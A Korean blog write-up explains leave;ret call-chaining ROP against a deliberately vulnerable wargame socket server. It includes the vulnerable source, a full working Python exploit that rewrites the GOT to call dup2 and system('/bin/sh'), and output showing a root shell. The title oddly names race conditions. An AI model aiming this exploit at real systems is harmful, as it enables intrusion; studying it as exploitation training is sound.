Document - Exploiting Race Condition Vulnerability with Unix Signal


분류 : Exploitation

플랫폼 : Linux



우와우 겁나 오랜만에 기술문서 포스팅하네요 ㅋㅋ 이번껀 문서라고 부르기도 뭐한 간단한 포스팅입니다.

예전에 워게임을 풀어보던 도중에 문득 gcc 버젼이 낮아 "pop ; pop ; ret" 나 "add esp, ~~ ; ret" 같은 가젯이 바이너리에 없을때 ROP로 ASLR과 NX를 우회하여 Exploit할 수 있는 방법에 대해 고민해봤습니다.

여러가지 삽질을 해 본 결과 recv함수나 scanf함수나 fgets함수같이 메모리에 원하는 데이터를 한번에 write가 가능할 경우에 leave;ret 를 이용한 Call-chaining으로 ROP exploit을 성공했습니다. 물론 방법이야 많이있겠지만 이 문서에선 제가 시도해본 방법을 설명합니다. 이번엔 더욱더 가벼운 내용이니 역시 가볍게 읽어주시길 바랍니다 ㅋㅋ


---------------------------------------------------------------------------------------------------------------


아래는 취약한 프로그램의 소스이다.

(해커스쿨의 BOF원정대-레드햇 level20의 소스를 약간 수정함)


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
     * Little bit changed for test!
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
 
void client_callback(int fd)
{
    char buffer[40];
        send(fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
        send(fd, "You : ", 6, 0);
        recv(fd, buffer, 256, 0); // Vuln !!!!!!!!!!!!!!!!!!!!!!!!!
}
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(6666);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(server_addr.sin_zero), 8);
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10) == -1){
        perror("listen");
        exit(1);
    }
 
    while(1) {
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
 
        if (!fork()){
            client_callback(client_fd);
            close(client_fd);
            break;
        }
 
        close(client_fd);
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
} 


Binary 

   

hello



socket 통신으로 단순히 데이터를 전송하고 받는 간단한 서버프로그램이다. recv함수로 40byte의 버퍼에 256바이트를 입력받아 overflow 취약점이 발생한다. 중요한 것은 컴파일 환경/옵션이다. 최종 목적은 ROP로 ASLR과 NX를 모두 우회해서 원샷 Exploit을 하는 것이지만 Redhat9.0에서 컴파일되어 Call-chaining에 주로 사용되는 "pop ; pop ; ret"나 "add n , esp ; ret" 같은 가젯은 보이지 않는다.(좀 더 고버젼에 가야 등장함)


어떻게 이 바이너리를 ROP로 Exploit할 수 있을까?...하는 고민끝에 "leave ; ret"명령을 이용하는 방법을 생각했다. 

leave 명령은 "mov ebp , esp ; pop ebp"와 같은 역할을 한다. 즉, leave명령을 이용하면 ebp에 넣어둔 값으로 esp를 컨트롤 할 수 있다는 것이다. 물론 "pop ; pop ; ret"같이 상대적인 거리(+8)로 esp를 컨트롤할 순 없지만 ebp에 직접 메모리 주소를 넣어주어 esp를 컨트롤할 수 있다. 


우선 위 내용이 적용시킨 기본적인 payload 형태를 나타낸 아래 그림을 보도록 하자.




그림의 윗 부분에 있는 SFP를 RW(ReadWrite) 가능한 영역(그림에서 0x080497c4. 이후 freespace라고 칭함)으로 조작해주고 recv함수로 freespace 영역에 ROP payload를 수신받는다. 

recv함수의 호출로 freespace에 새로운 payload가 수신되었고, recv함수의 호출이 끝난 후 리턴어드레스 자리에 있는 "leave; ret"가 수행하게 된다.  

leave 명령의 첫 번째 동작인 "mov ebp , esp"가 수행됨으로써 esp가 freespace를 가리키게 한다. 그 상태에서 leave명령의 두 번째 동작인 "pop ebp"를 수행되여 첫 번째 fake ebp(첫 번째 빨간색 화살표가 가리키는 주소)를 pop 하여 ebp에 넣은 후 leave명령 다음에 있는 ret명령을 수행하여 funcaddr로 리턴하게 된다. 

funcaddr에 해당하는 함수가 수행되고 끝나게 되면 리턴어드레스 자리에 있는 주소로 리턴하게 되는데, 리턴어드레스 자리에 "leave; ret"명령의 주소가 있다. 

결국 또 한번 "leave; ret"명령이 실행되게 되는데, funcaddr에 해당하는 함수가 호출되기 전에 ebp에 첫 번째 fake ebp(첫 번째 화살표가 가리키는 주소)가 들어갔으므로, leave명령의 첫 번째 동작(mov ebp, esp)을 통해 첫 번째 화살표가 가리키는 곳으로 esp가 이동할 것이고, 두 번째 동작(pop ebp)으로 두 번째 fake ebp(두 번째 화살표가 가리키는 주소)가 ebp에 들어가게 될 것이다. 그리고 leave명령 다음에 있는 ret명령 실행되면 또 다시 funcaddr로 리턴해 funcaddr에 해당하는 함수를 호출하게 된다.


이후에도 같은 방식으로 esp가 이동되고, ebp를 조작함을 반복해 계속 원하는 가젯이나 함수의 호출을 이어나갈 수 있다.


결국 위에서 설명한 방식으로 "leave; ret"로 Call-chaining하여 여러가지 가젯이나 함수를 연속적으로 호출할 수 있다는 것이 증명되었다. 그럼 이제 실제 공격으로 넘어가보자.


send(fd , bzero@got , 4 ,0) // bzero@got에있는 bzero함수의 libc주소를 얻어옴

recv(fd , bzero@got , 4,0) // 얻어온 bzero@libc주소에 dup2함수와의 오프셋만큼 더하여 다시 send해줌

bzero@plt(fd , 0) // 현재 bzero@got 에는 dup2@libc주소가 있으므로 dup2(fd , 0)

bzero@plt(fd , 1) // dup2(fd , 1)

bzero@plt(fd , 2) // dup2(fd , 2)

recv(fd , bzero@got , 4 , 0) //아까 얻어온 bzero@libc주소에 system함수와의 오프셋만큼더하여 다시send해줌

bzero@plt("/bin/sh") // 현재 bzero@got에는 system@libc주소가있으므로 system("/bin/sh")


payload는 최종적으로 위의 의사코드가 실행되도록 구성했다. (라이브러리 함수간의 오프셋을 안다는 것이 전제됨.)

payload구성과정을 설명하기보단, 만들어진 payload를 직접 읽어보는게 좀더 나을거 같아 payload구성과정은 생략한다.


이를 토대로 Exploit을 작성해보자.


#!/usr/bin/python


from socket import *

import struct , time


pack = lambda x : struct.pack("<L" , x)

unpack = lambda x : struct.unpack("<L" , x)[0]


HOST = "192.168.235.129"

PORT = 6666


fd = 4

rw_memory = 0x080499f0

leave_ret = 0x08048787

send_plt = 0x80484e0

recv_plt = 0x8048500

bzero_plt = 0x80484c0

bzero_got = 0x80499d0


stage_1 = ""

stage_1 += "a"*56

stage_1 += pack(rw_memory) # fake ebp

stage_1 += pack(recv_plt)

stage_1 += pack(leave_ret)

stage_1 += pack(fd)

stage_1 += pack(rw_memory)

stage_1 += pack(0x200)

stage_1 += pack(0)


stage_2 = ""

stage_2 += pack(rw_memory + 4*7) # fake ebp

stage_2 += pack(send_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7) # fake ebp

stage_2 += pack(recv_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(1)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(2)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5 + 4*5 + 4*7) # fake ebp

stage_2 += pack(recv_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(0xdeadbeef)

stage_2 += pack(bzero_plt) # now bzero@got points system@libc !

stage_2 += pack(0xdeadbeef)

stage_2 += pack(rw_memory + len(stage_2) + 8) # &"/bin/sh\x00"

stage_2 += pack(0)


stage_2 += "/bin/sh\x00"


s = socket(AF_INET , SOCK_STREAM)

s.connect((HOST , PORT))


print "[*] Connected"


time.sleep(0.5)

s.recv(1024)


time.sleep(0.5)

s.send(stage_1)

print "[*] Stage_0 payload sended"


time.sleep(0.5)

s.send(stage_2)

print "[*] Stage_1 payload sended"


bzero_libc = unpack(s.recv(4))


print "[*] Received bzero@libc : " + hex(bzero_libc)


dup2_libc = bzero_libc + 0x56120

system_libc = bzero_libc - 0x3cac0


print "[~] => dup2@libc : " + hex(dup2_libc)

print "[~] => system@libc : " + hex(system_libc)


time.sleep(0.5)

s.send(pack(dup2_libc)) # >>> hex(0x420d1ea0 - 0x4207bd80) '0x56120'

# dup2 - bzero


time.sleep(0.5)

s.send(pack(system_libc)) # >>> hex(0x4203f2c0 - 0x4207bd80) '-0x3cac0'

# system - bzero


print "[*] May be you got the shell?"


while 1:

        cmd = raw_input("$ ")

        s.send(cmd+"\n")

        if cmd == "exit":

                break

        print s.recv(1024)

s.close() 


이제 실제로 공격을 진행해본다.


[pwn3r@localhost testpwn]$ ./exploit.py 

[*] Connected

[*] Stage_0 payload sended

[*] Stage_1 payload sended

[*] Received bzero@libc : 0x4207bd80

[~] => dup2@libc : 0x420d1ea0

[~] => system@libc : 0x4203f2c0

[*] May be you got the shell?

$ id

uid=0(root) gid=502(pwn3r) groups=502(pwn3r)


겁나 깔끔하다 :)

이로서 프로그램이 한 번에 많은 데이터를 입력받을 수 있는 함수를 사용할 때, "leave; ret"명령을 통한 Call-chaining으로 ppr 없이 ROP가 가능하다는 것이 증명되었다. (뭔가 모순인 결론 ㅋㅋ)


p.s 사실 이게 엄청난 뻘짓인건 사실이다. ppr이 없을 정도로 낮은버젼에서 컴파일 되었다면, NX가 걸려있지않아 ROP없이 쉘코드로 바로 뛰는 것만으로도 충분히 Exploit이 가능할 것이다. 하지만 재밌는 payload들을 생각해볼 수 있는 좋은 기회였고, 나에겐 충분히 재밌는 연구였으므로 만족한다 :)


WRITTEN BY
pwn3r_45

트랙백  72 , 댓글  0개가 달렸습니다.
secret